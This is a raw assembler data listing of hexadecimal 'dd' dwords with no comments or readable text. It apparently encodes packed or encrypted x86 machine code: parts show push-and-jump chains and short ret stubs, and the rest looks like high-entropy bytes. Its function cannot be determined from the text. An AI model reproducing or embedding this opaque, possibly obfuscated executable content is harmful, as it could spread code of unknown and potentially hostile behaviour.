		dd 0DF41B80Eh, 0ACAACB61h, 0D216AC6Bh, 2F5CE163h, 0B8D8D52h
		dd 0BE06B226h, 1B112A99h, 2F0D8D89h, 6A06ACh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0C7A106C3h
		dd 0AC1E0585h, 685406h,	6D858B00h, 0C706AC34h, 0AC27F185h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E89124A7h, 14h, 7613135Eh, 0CEDA30A6h
		dd 8C8D0C9Dh, 5C78CC2Fh, 0E99E4CFFh, 0A81BD31h,	0FF5F06ACh
		dd 0AC28B1B5h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B50B6B0Ah, 6AC0BF5h
		dd 0BF995FFh, 5BB206ACh, 95FF006Ah, 6AC2145h, 5DEBC08Bh
		dd 892C7495h, 0D914668Bh, 92364F82h, 16753170h,	8EBE17CDh
		dd 0E59BD561h, 42267693h, 0C5F9057Fh, 0EB4B44CDh, 0B42ED4E2h
		dd 0F26A3BC7h, 954B5EB7h, 4854FEA4h, 85B8DA02h,	0F07D7EBDh
		dd 88A67EC4h, 2BCAB14Ch, 6258DE94h, 0E1491DA4h,	0B1B0A188h
		dd 238E10E6h, 63645125h, 7DEA3FD0h, 9E904h, 97DA0000h
		dd 58E1h, 0E9000242h, 0BEDh, 0B2285668h, 1E4FE906h, 8168FFFBh
		dd 0E906B229h, 0FFFB1E45h, 0B22A9668h, 1E3BE906h, 5568FFFBh
		dd 0E906B22Bh, 0FFFB1E31h, 0B22C1168h, 1E27E906h, 0A968FFFBh
		dd 0E906B22Dh, 0FFFB1E1Dh, 0B22E8368h, 1E13E906h, 0E568FFFBh
		dd 0E906B22Fh, 0FFFB1E09h, 0B230D868h, 1DFFE906h, 491EFFFBh
		dd 87D1FB38h, 461339FAh, 7E2C06C5h, 0BAEAC003h,	620104C7h
		dd 4182FFAFh, 8043386Bh, 4083FEAAh, 85463B6Ah, 0C957F231h
		dd 466A0EC5h, 858DFEBFh, 0D26D6E4Ch, 0C4926052h, 0D47CE895h
		dd 1339F885h, 93E8BB47h, 0E4F8AB8h, 0FB087524h,	0DBF208C5h
		dd 0C41A28BBh, 0CFB2E2A1h, 0FD8025E4h, 868F110h, 8A90B723h
		dd 4B6A0936h, 0E73200Ah, 6281B39Ah, 40DDC37Fh, 4CD4072Ah
		dd 22000000h, 0DC1DD3B6h, 0B00FEE9Dh, 936DB316h, 0B19A635Dh
		dd 324A9D42h, 0B4C02300h, 260D68F0h, 0FD03A6E7h, 0A6A08B8h
		dd 0BB45E021h, 546A08B8h, 0F8DF4D7Fh, 6A08B922h, 0B3116223h
		dd 33ED94C4h, 34AF4C7Eh, 2A5C7C7Ch, 0F76B07h, 0C49D0000h
		dd 0D47CE895h, 0C56DF984h, 5A903394h, 4472F7B7h, 0D184AE6Fh
		dd 7BD120B4h, 0D9EB4CFBh, 9F0D3F14h, 66B81D5Ch,	0A1635CA4h
		dd 4514B88Ah, 75EFB38h,	39635CA7h, 0FED41768h, 9C46D2AFh
		dd 9A64C1F9h, 75635CA7h, 0E43A9F5Eh, 23635CA7h,	47E22308h
		dd 68F0AF3Ch, 2764371Dh, 0A0699AB3h, 1D3CCBC4h,	0A98291A3h
		dd 9957326Ah, 58217258h, 0ADECAD6Ah, 24B0D187h,	0F9D6280Dh
		dd 0D88E6A08h, 3D97BCA9h, 0C2F1D6Eh, 6F9A5792h,	6E134369h
		dd 0A5644F5Ch, 61A2DF8Fh, 57BE1B4Bh, 0F05F7C44h, 0DC11EF4Ah
		dd 0D5FE70B6h, 0DA1FD5FEh, 1736FB9h, 95A2697h, 0C5920000h
		dd 0FBAD8744h, 32674D8Eh, 0EAB89251h, 2E7E5497h, 0F6959053h
		dd 0DD1E6333h, 24E7A4F7h, 0EC2F5A0Eh, 29EA97C6h, 25FB5E9Dh
		dd 0E26A0EC8h, 94C46F1Bh, 2A6B2AE9h, 5CA0718Fh,	87B59E63h
		dd 0C2017A2Bh, 0D185AFB6h, 3B0920B4h, 0DA880E5h, 635C9FF3h
		dd 0DD1C371Ch, 0A678DD9Ch, 61635C9Fh, 75E19ACBh, 6645775Ch
		dd 68F0A57Bh, 0D3A0614Ah, 9131434h, 0D856FE47h,	4A48617Dh
		dd 0E6C15361h, 6A092414h, 0A9583Dh, 0DFF2A873h,	0E2024835h
		dd 59E211B5h, 0AA84B6ECh, 72A27C6h, 0C5BDh, 95C44B00h
		dd 84D47CE8h, 0FB4A6DF9h, 5E635CA2h, 7D89BA2Dh,	13435BF9h
		dd 0F8D3FA6Eh, 4A3766CAh, 8CF1A18Bh, 517BBEh, 5AFFBE7Fh
		dd 635CA6C4h, 0C2BFE943h, 8A49DBE9h, 0CEB3E1CBh, 5CA715EBh
		dd 0EBD9F263h, 53925035h, 0F0AEABF6h, 0B2715A68h, 80418FEAh
		dd 9A28A425h, 0FCEE56Fh, 0A334644Eh, 0B74EF806h, 173C1770h
		dd 3498AA83h, 35C99864h, 990D2663h, 72589BB0h, 0E88E8722h
		dd 0B8CC4765h, 8D965993h, 0DB4D736Fh, 82F6Ah, 71124500h
		dd 0B3CE98B2h, 720F5A70h, 0B0C99BB1h, 74095973h, 1CD1B2B7h
		dd 0D8F2314Ch, 1F35F68Bh, 0D7FD3E4Bh, 0F2468586h, 0C98A9431h
		dd 7C856A0Eh, 0E994C408h, 2C51002Ah, 95C49BEFh,	95BF7CE8h
		dd 0D87446C3h, 6F37F489h, 2F05C40Ah, 0FC3B097Ah, 0F09AEA59h
		dd 0A0F15B68h, 0A360F4DFh, 8E73FD0h, 72406EDFh,	31F28FDEh
		dd 0A5314A1Bh, 6F1A4C66h, 2D7B7E5Dh, 3CDBEF43h,	2D5E0FC5h
		dd 0E895C4EEh, 0C095BF7Ch, 0C3567547h, 0B6F14F73h, 0A3F230D3h
		dd 61351FDEh, 0AB99B024h, 6815446Eh, 47153FFCh,	0B587AE3Ah
		dd 0F8CBF96h, 2CD7324Eh, 19DAA7F6h, 8D196233h, 3DFC3257h
		dd 0E340E198h, 4C7ECF6h, 2AEB395Ch, 0BD295400h,	0C461A694h
		dd 0FD8FA6D5h, 0E8CF5B70h, 0FEA7AA11h, 0F4AC5732h, 728BCCF4h
		dd 324F1C36h, 4491200h,	4BE40000h, 635C9FB5h, 5C8F9862h
		dd 0ABDD4763h, 0C05A635Ch, 82635CB3h, 4DE829E7h, 68F0BF92h
		dd 0EBD21833h, 0B87899A6h, 71A9F2Eh, 5520000h, 0BBEDC704h
		dd 72270DCEh, 0AAF8D211h, 6E3E14D7h, 0B6D5D013h, 9D5E2373h
		dd 64A7E4B7h, 0AC6F1A4Eh, 69AAD786h, 65BB1EDDh,	0A26A0ECAh
		dd 95C42F5Bh, 0A059A702h, 9DB6635Ch, 9DF822B6h,	72D79657h
		dd 635C9FACh, 0E13F9A5Bh, 2E635C9Fh, 0D4842E05h, 0F95C9BA9h
		dd 68EA81D5h, 0C19E5D76h, 60AECB4Fh, 93ED04A1h,	0F3D86FA2h
		dd 0D6298E25h, 0A68C1E19h, 7AA496F3h, 5110D11Fh, 0C5512A7Bh
		dd 76FDDEECh, 0C325B024h, 52C6BBE9h, 43D7AAFAh,	6073416Ah
		dd 0F0A08A4Bh, 230198Dh, 0E12F4A90h, 1FB08520h,	0BA912C5Ch
		dd 0FE00517Bh, 6E47D3AEh, 0FDAC8645h, 63694A80h, 0A036B422h
		dd 65B11h, 45C69100h, 8FFAAC86h, 5633664Ch, 9CEDBF95h
		dd 5825755Fh, 28FD9E9Bh, 0ECC60578h, 2B01C2BFh,	0EBC1027Fh
		dd 0B602C1BAh, 0CB4ED075h, 40B96A0Eh, 1DD3B634h, 0E4B79DDCh
		dd 0B01A33A7h, 260F9BE6h, 9B0C3714h, 123968F0h,	0DA7F2E86h
		dd 3F3234C5h, 0AB3F14D3h, 0AB17CA2Dh, 1091D8CEh, 20A3EBFAh
		dd 6E9D0BA2h, 6F44F957h, 0E0180BAEh, 0CBE16F9Ch, 0C0D3E19Ah
		dd 6F8D28EBh, 0A870B502h, 70B50256h, 0ACB197Ch,	261E384Bh
		dd 5E75F539h, 895F4F6Ch, 0C7EC7642h, 837F2C06h,	133AAED3h
		dd 0B9C09238h, 0A436042Dh, 66CE7A83h, 0E696BF77h, 4514D426h
		dd 0A8DFF238h, 22B46A3Fh, 59F93h, 8182D500h, 433E6842h
		dd 82FFAA80h, 40396B41h, 84F9A983h, 0EC214247h,	2802C1BCh
		dd 0EFC5067Bh, 270DCEBBh, 62D61576h, 0CBFA04A1h, 0EC156A0Eh
		dd 1DD3B698h, 815579DCh, 0DDF668EAh, 0CFB0E149h, 0F23E540Ch
		dd 3A9FCE66h, 0A2E36FD4h, 0FB3A1168h, 4C011FBAh, 250E6A0Fh
		dd 0B993D217h, 0AA694E9h, 1AB2265Bh, 41A2364Bh,	5607BD24h
		dd 10B5F435h, 6A0F4C0Eh, 25E0D2F9h, 2426AB8Dh, 1749A07h
		dd 0B66C0000h, 79DC1DD3h, 68F06C02h, 5B7CE8C3h,	6A08D2BFh
		dd 9A26DDB8h, 0B1F031FFh, 8044ABC2h, 390B0218h,	9CB25F1Ah
		dd 84456E6Fh, 199E60C5h, 18BD70B5h, 70B51A06h, 953F2A01h
		dd 62FBBC4h, 9BDA1F2Dh,	89CE1B1h
		dd 0EEBF1321h, 0F0A1099Dh, 71144C8Fh, 193372B3h, 65A6324Fh
		dd 0B51A3EC0h, 0C9E2C970h, 13C5D8FBh, 0EA407649h, 3A6CC6BBh
		dd 8FA5644Fh, 1F36A2DFh, 8298BF2Dh, 43776139h, 67B2802h
		dd 9D2CD734h, 7527E3B7h, 82A98014h, 230D3F16h, 0F9D23E3Dh
		dd 3134h, 0D3B6C200h, 8A79DC1Dh, 3B68F0A5h, 7B2930C8h
		dd 6C47D378h, 0F3DDFF8h, 45046A09h, 0F5FA104h, 83A86A09h
		dd 0F3AF52B1h, 72A63EDh, 0A0E4h, 85AF1200h, 920B4D1h, 45C6973Bh
		dd 83FEAE84h, 9E0C3E17h, 8F1B6636h, 81157627h, 0C4077829h
		dd 5CA2E661h, 34491863h, 4CAAFF7h, 1BE960C5h, 5A7068EEh
		dd 51427009h, 0C191BB7Ah, 5557FBCh, 25A5B278h, 0EC7A789Bh
		dd 4075Dh, 493A6D00h, 8BF6A08Ah, 4A376248h, 88F1A389h
		dd 4C31614Bh, 24E98A8Fh, 0E0CA0974h, 270DCEB3h,	0FFD51673h
		dd 0AA1EDDAEh, 0CD32CC69h, 24DD6A0Eh, 4BEEAF50h, 635C9FB5h
		dd 0E74B7952h, 4809CAB7h, 3A901D3Bh, 0A667B898h, 5D1AFD03h
		dd 13210A63h, 5E9DEEBFh, 0E895C42Ah, 0F885D47Ch, 0B14B4F3Bh
		dd 8A635C1Fh, 1F906ECBh, 547F635Dh, 1FB74566h, 0F89D635Dh
		dd 2318E4F2h, 0F5B883F3h, 0FDAD5E18h, 0C8B9EF33h, 755E755Ch
		dd 80BD11B4h, 295A68EBh, 45BF85FCh, 8B98AA49h, 0DDF734A0h
		dd 12CCFE8Bh, 8A926177h, 94BC42E7h, 604B6A10h, 6B70D493h
		dd 0B3C08140h, 0F5143377h, 17340623h, 6FA49D38h, 9CEDBF15h
		dd 88F5A008h, 0B41E351Ch, 458FA4E1h, 736A7944h,	2D38891Fh
		dd 47000003h, 9AB07310h, 547EBDCCh, 0EDC70401h,	2B01C2BFh
		dd 0C0C5067Bh, 433E6EA3h, 80F9AA80h, 403D6943h,	87F8A983h
		dd 9633F044h, 6A0ECE88h, 0C40A7E87h, 5A29E895h,	563102DAh
		dd 99BA900h, 5F0EF0A1h,	359FB622h, 9AB32760h, 4F2A72B1h
		dd 386A4081h, 287DD541h, 8146745Fh, 0F1655924h,	4A1EB468h
		dd 0A780143Fh, 6A098A55h, 47173D7Ch, 0F8EB083Ah, 29ECB8B8h
		dd 50AF07h, 0AF590000h,	86B4D185h, 23763D58h, 0F0DBF266h
		dd 0A66D9431h, 735868F0h, 0DE5724E7h, 5CA207E4h, 0AB6A08D8h
		dd 0BF4C7380h, 225F09A3h, 8EAD9FB6h, 6A09936Ch,	78D13055h
		dd 0EF7B0652h, 0D6DAF4C6h, 0CD0729DFh, 0EFh, 0F1317D0Eh
		dd 878B6842h, 95C447B5h, 84D47CE8h, 94C56DF9h, 86D77FEBh
		dd 0A034CA6Fh, 0F8D3635Ch, 0B2B510D3h, 6C635CA3h, 0EE93C13Dh
		dd 0BB78537Ah, 2BBFC091h, 9F5E94F1h, 0E5A0F4DEh, 496A5871h
		dd 68F0B0B2h, 0DAE5A053h, 0A1D1586h, 0DFBAE221h, 0ABFAD011h
		dd 0F987993Ch, 0AB806A08h, 0F3D1480h, 55D46DC8h, 12616F9Ah
		dd 751A0E2Dh, 324F1BD3h, 96A48FA6h, 1FE14485h, 0E870B737h
		dd 473869C3h, 0D787AD6Ch, 134369AAh, 58CCBDEFh,	0C2408271h
		dd 0E6B70927h, 750C07CDh, 55C3736Fh, 1CBE4h, 15762100h
		dd 0DFAAFCD6h, 2663361Ch, 0EC9DCFE5h, 2855052Fh, 0B88DEEEBh
		dd 7C5695E8h, 0BB91522Fh, 7B5192EFh, 2692512Ah,	0CEBE40E5h
		dd 0B0496A0Eh, 0E994C4C4h, 29AD5B28h, 9239AEAh,	85D4FE3Bh
		dd 97A3BF8h, 0D154FF63h, 4C3D6BC1h, 0B6A75567h,	79DC1DD3h
		dd 68F0A58Ah, 0A384103Bh, 6A08AA59h, 43E61D78h,	0BFA58C30h
		dd 1F2DA7DEh, 2A782F31h, 0C02607h, 0CFE50000h, 537AEE9Bh
		dd 95C49361h, 84D47CE8h, 0FB4A6DF9h, 35635CA2h,	0CA54F164h
		dd 45635CA3h, 0AC86456Eh, 0D71480FDh, 0C9CC3EA4h, 0BA88F667h
		dd 2C30164h, 0F0F554A7h, 81246568h, 6A08F57Fh, 8291A388h
		dd 57326AA9h, 0CBFD5899h, 846F9A6Dh, 8A2F6EAFh,	70B79474h
		dd 4D8AB893h, 16E84D0Ch, 0F170B794h, 0F62D29DAh, 0ACC03FCEh
		dd 1F62329Eh, 0DBA6F6DCh, 6F816411h, 9829BF73h,	0D8h, 0FD3E4B1Ch
		dd 438081D7h, 80433C69h, 4281F8AAh, 86453868h, 7D2DE083h
		dd 0BAE9C300h, 7C2802C1h, 0B9E8C201h, 70B307C4h, 0ED04BD5h
		dd 493DC46Ah, 0C0CEDCAFh, 3FB11409h, 8CF1A10Dh,	4B34654Fh
		dd 95C4FC88h, 0CCBF7CE8h, 65C02B81h, 635D0E9Bh,	0F6AC5F74h
		dd 0C76B59EEh, 65207496h, 0B0D58D4Eh, 0B216B372h, 9168EB2Bh
		dd 0D7862EBAh, 124369AAh, 0D482A869h, 3A0821B5h, 0D30D8FA8h
		dd 4CAB283Bh, 4A1E3495h, 0F0A10D3Fh, 37664C8Fh,	78EC9DCBh
		dd 2DEE7A51h, 0C6355607h, 0C4DDDC96h, 49E5D7ACh, 0D7B4E71Bh
		dd 0D5416A43h, 2089781Fh, 803AC461h, 0FED5C863h, 4B790454h
		dd 14D5B6E7h, 0C289A567h, 2720A8CBh, 8199C0CDh,	0D613210Ah
		dd 44D0ADFCh, 3F5h, 80760100h, 62F693C4h, 72E69BCAh, 67F38EDAh
		dd 7BEF9CCFh, 6AFE83D3h, 7BEF92C2h, 6CF881D3h, 60F491C4h
		dd 77E39EC8h, 0E08950A2h, 405h,	42D00h,	4870000h, 2C895C24h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 68242C89h
		dd 7214h, 53241489h, 0ED409BBBh, 0E63FBD03h, 0DD0102C4h
		dd 83241C8Bh, 8B5404C4h, 0C4812414h, 4,	8BB53h,	0D3010000h
		dd 24048155h, 616F5247h, 2B81038Fh, 616F5247h, 24148B5Bh
		dd 5E08950h, 4,	8704C083h, 8B5C2404h, 8951242Ch, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 126FE95Ch, 0E0FBFFFBh, 31D5B85Dh
		dd 0C50306B2h, 8F04E0FFh, 0B67321F9h, 0C87A4E2Dh, 0E3847936h
		dd 642119A0h, 0F60A6AA2h, 627509D4h, 0E991060Eh, 0B1FD150Dh
		dd 1B0B58B1h, 0FF8557A1h, 862E2F0Ch, 181B0DBFh,	0BC162187h
		dd 0A01B2078h, 54FE6703h, 72012111h, 13E84C0Dh,	74000000h
		dd 3A0B7CBFh, 97B82C15h, 3F826910h, 1FF4F5ACh, 0BF66313Ah
		dd 0E85BE072h, 0Fh, 0B57AEAEAh,	0FB9CBBEAh, 0A35C5CE7h
		dd 0BA6C22E1h, 4092A58Bh, 6EC3815Ah, 80000063h,	0F633CDC0h
		dd 8BD8CE80h, 5A57330Ch, 669FE981h, 0FE8B6554h,	51E7E981h
		dd 840F24E2h, 7, 0E7816650h, 815819F6h,	243EB0F1h, 5E938h
		dd 6D8F0000h, 51C9DB11h, 68E0Fh, 8B600000h, 615B56C7h
		dd 8133048Fh, 52FBF4E2h, 3B86616h, 4EE8376h, 81B7F280h
		dd 0FF9D58FEh, 1D850FFFh, 0E9000000h, 0Ah, 6C3DC529h, 0C413308h
		dd 1AE98411h, 0B6000000h, 3EC648F8h, 0A0A8F5D8h, 80E9C28Bh
		dd 0C4FFFFFFh, 947DFA9Dh, 67125478h, 488D8D9Ch,	6A06B234h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 7029C356h, 0D8D89AEh, 6A06AC2Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 2138C356h, 29777476h, 0AC2DF5BDh, 585C706h, 8806AC1Eh
		dd 3000059h, 0AC2DF5BDh, 0F185C706h, 6AC27h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0C510C352h, 0B5FFF36Eh, 6AC118Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 33C35646h, 0F995FFBCh
		dd 2B06AC0Bh, 0AC0581B5h, 0FF006A06h, 0AC214595h, 0EBC08B06h
		dd 0AE17BD5Fh, 0D94D5B04h, 819AE2A9h, 99B523DEh, 0AED46228h
		dd 0D34A47EBh, 59572685h, 39FAD101h, 8F680B3Ah,	0B30F6DB5h
		dd 0EB2E158Ch, 0C5E8B8C7h, 374CC6F6h, 0A472BBBh, 56677CBBh
		dd 5A5751F6h, 225A35CCh, 0A6EA0EB7h, 4DE913FCh,	6DF03C6Fh
		dd 410D425Ch, 5F3FEB26h, 0EA1A8AF7h, 0DD94400Ah, 82E9h
		dd 0D296DD00h, 0F5CC477Eh, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh
		dd 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h
		dd 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h,	0B98B204Ah
		dd 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h
		dd 594ACC48h, 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh
		dd 899500BDh, 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h
		dd 10D3C20Dh, 0E09h, 0E9000000h, 100Dh,	0B236DE68h, 48DEE906h
		dd 0E868FFFAh, 0E906B237h, 0FFFA48D4h, 0B238AB68h, 48CAE906h
		dd 3568FFFAh, 0E906B23Ah, 0FFFA48C0h, 0B23AC768h, 48B6E906h
		dd 5C68FFFAh, 0E906B23Bh, 0FFFA48ACh, 0B23BE768h, 48A2E906h
		dd 0A668FFFAh, 0E906B23Ch, 0FFFA4898h, 0B23D6B68h, 488EE906h
		dd 3868FFFAh, 0E906B23Eh, 0FFFA4884h, 0B23EDD68h, 487AE906h
		dd 0F868FFFAh, 0E906B23Fh, 0FFFA4870h, 0B242A568h, 4866E906h
		dd 0C168FFFAh, 0E906B243h, 0FFFA485Ch, 7EBF779Ah, 24E521CEh
		dd 7FBE7694h, 26E71FCFh, 7EBF7796h, 3EADFA03h, 15F74786h
		dd 44A818D9h, 10F94988h, 0D5C15D4h, 0E1006ABEh,	1C90B7E8h
		dd 7C6DAD5Eh, 18AE6E40h, 5C12BEFh, 1AA9F82Bh, 0EF9335C6h
		dd 6DAE270Bh, 2FDD6D3Ch, 0AC9D37F7h, 0EF933578h, 8560E9C5h
		dd 4BF82B41h, 0E52F2896h, 8237F7DBh, 0F63F544Ah, 84600C28h
		dd 39E8AA00h, 2D08h, 4F8B8400h,	0A646F625h, 35EC2093h
		dd 1D31EF93h, 0D86BBA33h, 0E52F3B69h, 0AF1ADAF6h, 0F63F3F75h
		dd 0A9452105h, 39E8B92Dh, 0C827h, 0AD5EAB00h, 35E93F8Ch
		dd 1A36EF93h, 2907BF28h, 74B05FE9h, 2DE902B4h, 7AB25BEDh
		dd 30BB08BBh, 0C425EF93h, 9079C908h, 33F79454h,	68398A59h
		dd 0B5E52F43h, 0FE88929Fh, 17F8D00Ch, 0AA628BC2h, 0E6BAA84h
		dd 0C073A0CAh, 0EBCF812Ch, 9FCE1D31h, 0EE84F82Ch, 0E06945FCh
		dd 0B46A8131h, 0E329C3AFh, 0D3F7A53Fh, 0D396F47h, 2A9A5B75h
		dd 81E30BC3h, 336869E5h, 0DC4430Fh, 6D800000h, 2BC070B1h
		dd 6C8232F3h, 29C171B0h, 6D9C2CEDh, 0F40D70B1h,	5D9C58B7h
		dd 2C3FBEDh, 67A65EB2h,	3FFE36D7h, 40942776h, 8DE8E0FFh
		dd 0FBF26AAh, 0C77827DDh, 0A4046CEh, 6E9DAD24h,	772677B6h
		dd 926590C4h, 78F1DDEFh, 0A6679F48h, 254F8BAAh,	3BF445F6h
		dd 5579E52Fh, 3FE82095h, 0AE8AF63Fh, 0B9A226C2h, 0E0A639E8h
		dd 2A000000h, 0A271AD5Eh, 41AA0708h, 4EC7EEB7h,	1BD33A8Ch
		dd 4A3399C8h, 881E1CFCh, 1C095F6Eh, 7C56EF93h, 5F40C506h
		dd 19311F09h, 22B8212Ah, 0E92BA285h, 931CEF5Ch,	0A148F8EFh
		dd 2BDCEC65h, 0F9D1BFF5h, 0EAC4A188h, 0BA729B2Bh, 0B7DD197Ah
		dd 0B06D764h, 7B4BE52Fh, 0B4755B93h, 0AC7F15D1h, 0CEAC581Fh
		dd 0B55565EBh, 34845779h, 4D31FD5h, 616757A1h, 6C444EF8h
		dd 56647824h, 15BF7FB7h, 0AB9E83Bh, 0FCEE2BD6h,	7DBE371Bh
		dd 14FA1ECDh, 9CB218D8h, 6979F674h, 0AEE2DE68h,	0CBAh
		dd 62A35BB6h, 40813DD2h, 23E21AF0h, 82437B93h, 0E223DB32h
		dd 0C229669Fh, 917BCB0Ah, 0C8249455h, 8C7DCD0Ch, 89D89150h
		dd 0E0FEE63Ah, 800C2BE8h, 75DEEBFh, 54EF9336h, 2AC1F178h
		dd 6A8333F2h, 5E7F73B2h, 7B171ADh, 5FEF2EE6h, 3B575B1h
		dd 0D6F332EAh, 0DBB175B3h, 431ABB08h, 9323E52Fh, 2882427Ah
		dd 6684B4A1h, 0EAC46EAEh, 7766BF0Ah, 9F5BDCB5h,	0EC9526F5h
		dd 0B1E365A5h, 83AD6981h, 0B827FA50h, 0C3B873ADh, 6FDF884Ah
		dd 2BCE477Fh, 0E55685EFh, 0EA065494h, 56E63519h, 0E13784B5h
		dd 0BFB2556h, 43E929E5h, 0E2368554h, 2FFB2556h,	0C2032D03h
		dd 0B55D9972h, 66A0A53Bh, 0F7612D11h, 0F500000Bh, 9323E21Ah
		dd 3787467Eh, 6CDC1DD9h, 3181407Ch, 9EE322DAh, 5C12867h
		dd 5A9274C4h, 0FC72B9Bh, 518D7ECEh, 3B88D990h, 0E8E0FDE5h
		dd 5E810D2Ah, 0D2B171ADh, 55AD7A16h, 5D5951FFh,	8B4B836Fh
		dd 6FDC0F21h, 0E52E6922h, 0E782436Fh, 2A9A4923h, 63C909C5h
		dd 0F1883BEAh, 3AEBDA8Dh, 0FBDEFD90h, 931AEB9Ah, 0DF6AAA86h
		dd 0FCEABA85h, 0D9355175h, 3213345Dh, 5157h, 4F8BDB00h
		dd 0BE45F625h, 83E52F78h, 20CC7CAFh, 409625E4h,	49F63F84h
		dd 29C612F9h, 7A4AC3EDh, 0C5945591h, 9B5B9375h,	0A6692037h
		dd 5D73CF2Fh, 0CC08E4D4h, 0A7FD4E1Fh, 0F4F63FD6h, 0D6429625h
		dd 0A38FF63Fh, 91C6048Dh, 840DC921h, 0B2D4Eh, 0FBF4400h
		dd 46A32AE2h, 883BE882h, 0E5214036h, 83D96ABBh,	0C8F6456Ah
		dd 508437E4h, 9DF6456Ah, 1D4C9FB1h, 456A7AAEh, 0A516C7F6h
		dd 0F6456A6Fh, 37BE90BCh, 0E707B7E6h, 35F11D2Fh, 0E6D65FF5h
		dd 0B808C905h, 57974Fh,	6AAEE251h, 0D9F3F645h, 96444F2Eh
		dd 0FAC8E626h, 0B11BDB13h, 7319DD38h, 0E42F1A0h, 53F6457Eh
		dd 7627F67Fh, 982ACEDCh, 0E63544B3h, 0BED2FA9Ah, 784BC207h
		dd 0EBD3AA55h, 55E5361Ah, 9B978B4h, 5DF724E0h, 0FED7C6C1h
		dd 0C5078E4Ch, 0DB0862A6h, 59E3398Ah, 428FCF7h,	5AEF5C8Dh
		dd 0A3F2934Eh, 0FD3DF913h, 0FBCBDE57h, 0BF15D511h, 0C41D7991h
		dd 0FBC76F1Eh, 0A6DB7h,	4C886B00h, 14D03D8Dh, 4F8765D5h
		dd 16CE3E8Eh, 4C8867D7h, 7A09F08Dh, 2A9A5B93h, 75C504C0h
		dd 2C9C5D99h, 8BC203BBh, 0FC3369DAh, 5F78E8E0h,	36035DD3h
		dd 7CB8EF93h, 3E94C516h, 0D068996Ah, 6A59D0A7h,	0E5210A6Fh
		dd 92C3103Ch, 341C70C3h, 4D61F645h, 0DB13F4C4h,	9941AA1Ah
		dd 0DF75B571h, 965231F1h, 6F9F2FFCh, 0BEEF3EB7h, 0E727DF0Eh
		dd 8AF7C44Dh, 13EBE151h, 52924AA3h, 0F5EFD0F8h,	9A6416A9h
		dd 0C22A0613h, 686C918Ah, 0DB3A764Ah, 99000009h, 0CF7FBE76h
		dd 9B2BEA22h, 0C878B975h, 9525E420h, 27FBE76h, 813DACFBh
		dd 0DE16F040h, 8B43AF1Fh, 0D511FA4Ah, 0BF0C5D14h, 0E8E0FB69h
		dd 5E1D91B6h, 7B171ADh,	0C4EE2EE6h, 0E86C88E4h,	0BEC0BB4Bh
		dd 0A920DC0Eh, 48026h, 0A847F700h, 8F06AC6Ch, 254F8B03h
		dd 415445F6h, 3519E521h, 0E907B7E6h, 7547ED2Dh,	369C5C98h
		dd 0A65E8FBFh, 0FE36D767h, 31D9693Eh, 169F35F5h, 456AEB25h
		dd 6E04C0F6h, 88C30EBDh, 2408EBE1h, 6CDB96CCh, 3E724E68h
		dd 946h, 0F637EF02h, 0AC6DA946h, 0F736EE1Ch, 0AE6FA747h
		dd 0F637EF1Eh, 0D635728Bh, 7D6FDF1Eh, 0DC308041h, 0B851E120h
		dd 0A5F4BD7Ch, 0E0FAC216h, 0A4280FE8h, 0B171AD5Eh, 0EE2EE607h
		dd 6C88E4C4h, 0C0BB4BE8h, 3F0E0h, 35D6C00h, 0B8EF9336h
		dd 76C5167Ch, 0E521411Dh, 0CC00B362h, 0D5F6456Ah, 456B3266h
		dd 44537FF6h, 25954668h, 79C908C4h, 68A44890h, 0EC2C02A8h
		dd 0F2214B8Fh, 0E188F441h, 0FD1539EBh, 686CDB2Bh, 0BB115D61h
		dd 0B9000008h, 0EF5F9E56h, 0BB0BCA02h, 0E8589955h, 0B505C400h
		dd 225F9E56h, 0A15D8CDBh, 0FE36D060h, 0AB638F3Fh, 0F531DA6Ah
		dd 9F2C7D34h, 0E8E0FA49h, 5E3DB196h, 407E6DADh,	3839B9BFh
		dd 745A7426h, 2DE902B4h, 8BE7C7EDh, 0BBFDEB6Fh,	35BE1C0h
		dd 5D6D0000h, 0EF933609h, 0F31462A6h, 6CC6153Bh, 7793FC15h
		dd 53820BFDh, 0B1025302h, 0EF92A65Bh, 67BD8CA0h, 8BEF92A6h
		dd 52FEE9Dh, 57869115h,	9291B0E4h, 0FFD1FDEFh, 9D134576h
		dd 2C9CE520h, 9E8B02BAh, 38D161B2h, 0E0CE06E0h,	0BC789121h
		dd 0ADDB1F7Ch, 0EB41813Dh, 4AA616C5h, 79CA1B92h, 0EBE0CCD8h
		dd 0CD6189A5h, 0F7686C20h, 7FC87CBh, 15F80000h,	43A818D9h
		dd 14FA4A8Bh, 41A919D8h, 15F44485h, 9C6518D9h, 25E420CFh
		dd 7ABB7395h, 2FEE26CAh, 77B66E9Fh, 88DC6F3Eh, 0D5E8E0F9h
		dd 0AD5E7EF2h
		dd 6A44806Dh, 35EB1CAAh, 0EA077F4Bh, 7058F232h,	0F4DA8BDAh
		dd 437B9727h, 62A02983h, 94C9A507h, 0C268BB73h,	1F78007Ah
		dd 6B9DAF61h, 0A8F93AB3h, 0C727F318h, 21A8210Fh, 0C0BBBFA5h
		dd 7AFh, 72A42300h, 0AE000002h,	9336095Dh, 862A6EFh, 40FF68DBh
		dd 0A68CE521h, 0D933F29Bh, 5F77DD1Dh, 644A094Ah, 7B7E6B7h
		dd 44EE2EE6h, 459D1F75h, 0C9406CF6h, 15D410F9h,	488844A5h
		dd 5685EF2Bh, 0E1A264E5h, 0ED0529EBh, 686CF657h, 37FDB18Dh
